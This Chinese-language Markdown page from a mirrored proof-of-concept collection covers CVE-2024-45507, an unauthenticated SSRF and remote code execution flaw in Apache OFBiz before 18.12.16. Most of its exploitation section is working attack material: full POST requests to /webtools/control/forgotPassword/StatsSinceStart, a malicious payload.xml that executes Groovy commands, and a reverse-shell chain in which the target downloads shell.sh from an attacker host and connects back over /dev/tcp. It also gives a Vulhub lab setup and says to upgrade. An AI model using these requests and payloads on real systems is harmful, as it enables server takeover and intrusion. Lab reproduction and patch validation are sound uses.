mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-04 18:27:48 +00:00
131 lines
3.8 KiB
Markdown
131 lines
3.8 KiB
Markdown
# Apache OFBiz SSRF 和远程代码执行漏洞 CVE-2024-45507
|
||
|
||
## 漏洞描述
|
||
|
||
Apache OFBiz 是一个开源企业资源规划(ERP)系统。它提供了一套企业应用程序,集成并自动化企业的许多业务流程。
|
||
|
||
Apache OFBiz 18.12.16 之前的版本存在一处 SSRF 与远程命令执行漏洞,未经身份验证的攻击者可以利用该漏洞执行任意命令并控制服务器。
|
||
|
||
参考链接:
|
||
|
||
- https://github.com/apache/ofbiz-framework/commit/ffb1bc4879
|
||
- https://xz.aliyun.com/t/15569
|
||
- https://paper.seebug.org/3228/
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
Apache OFBiz < 18.12.16
|
||
```
|
||
|
||
## 网络测绘
|
||
|
||
```
|
||
app="Apache_OFBiz"
|
||
```
|
||
|
||
## 环境搭建
|
||
|
||
Vulhub 执行如下命令启动一个 Apache OfBiz 18.12.15 服务器:
|
||
|
||
```
|
||
docker compose up -d
|
||
```
|
||
|
||
在等待数分钟后,访问 `https://your-ip:8443/accounting` 查看到登录页面,说明环境已启动成功。
|
||
|
||
如果非本地 localhost 启动,Headers 需要包含 `Host: localhost`,否则报错:
|
||
|
||
```
|
||
ERROR MESSAGE
|
||
org.apache.ofbiz.webapp.control.RequestHandlerException: Domain your-ip not accepted to prevent host header injection.
|
||
```
|
||
|
||

|
||
|
||
## 漏洞复现
|
||
|
||
### SSRF 漏洞
|
||
|
||
向 `/webtools/control/forgotPassword/StatsSinceStart` 发送以下 POST 请求即可:
|
||
|
||
```
|
||
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
|
||
Host: your-ip:8443
|
||
Accept-Encoding: gzip, deflate, br
|
||
Accept: */*
|
||
Accept-Language: en-US;q=0.9,en;q=0.8
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
|
||
Connection: close
|
||
Cache-Control: max-age=0
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Content-Length: 64
|
||
|
||
statsDecoratorLocation=http://10.10.10.10/path/to/api
|
||
```
|
||
|
||

|
||
|
||
## 远程代码执行漏洞
|
||
|
||
首先在服务器 `<attacker-ip>` 上部署恶意 XML 文件 payload.xml:
|
||
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
|
||
|
||
<screen name="StatsDecorator">
|
||
<section>
|
||
<actions>
|
||
<set value="${groovy:'touch /tmp/awesome_poc'.execute();}"/>
|
||
</actions>
|
||
</section>
|
||
</screen>
|
||
</screens>
|
||
```
|
||
|
||
然后将恶意 XML 的 URL 替换进请求中发送:
|
||
|
||
```
|
||
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
|
||
Host: localhost:8443
|
||
Accept-Encoding: gzip, deflate, br
|
||
Accept: */*
|
||
Accept-Language: en-US;q=0.9,en;q=0.8
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
|
||
Connection: close
|
||
Cache-Control: max-age=0
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Content-Length: 64
|
||
|
||
statsDecoratorLocation=http://<attacker-ip>/payload.xml
|
||
```
|
||
|
||

|
||
|
||
命令 `touch /tmp/awesome_poc` 已经被成功执行:
|
||
|
||

|
||
|
||
reverse shell payload:
|
||
|
||
```
|
||
# 1. 在服务器 <attcker-ip> 托管 shell.sh:
|
||
echo "/bin/bash -i >& /dev/tcp/<attcker-ip>/8888 0>&1" > shell.sh
|
||
|
||
# 2. 发送第一个数据包。在服务器 <attcker-ip> 托管 payload.xml,下载 shell.sh:
|
||
<actions>
|
||
<set value="${groovy:'wget <attcker-ip>/shell.sh'.execute();}"/>
|
||
</actions>
|
||
|
||
# 3. 发送第二个数据包。在服务器 <attcker-ip> 托管 payload.xml,执行shell.sh:
|
||
<actions>
|
||
<set value="${groovy:'bash shell.sh'.execute();}"/>
|
||
</actions>
|
||
```
|
||
|
||
## 漏洞修复
|
||
|
||
升级至 18.12.16 及以上版本。
|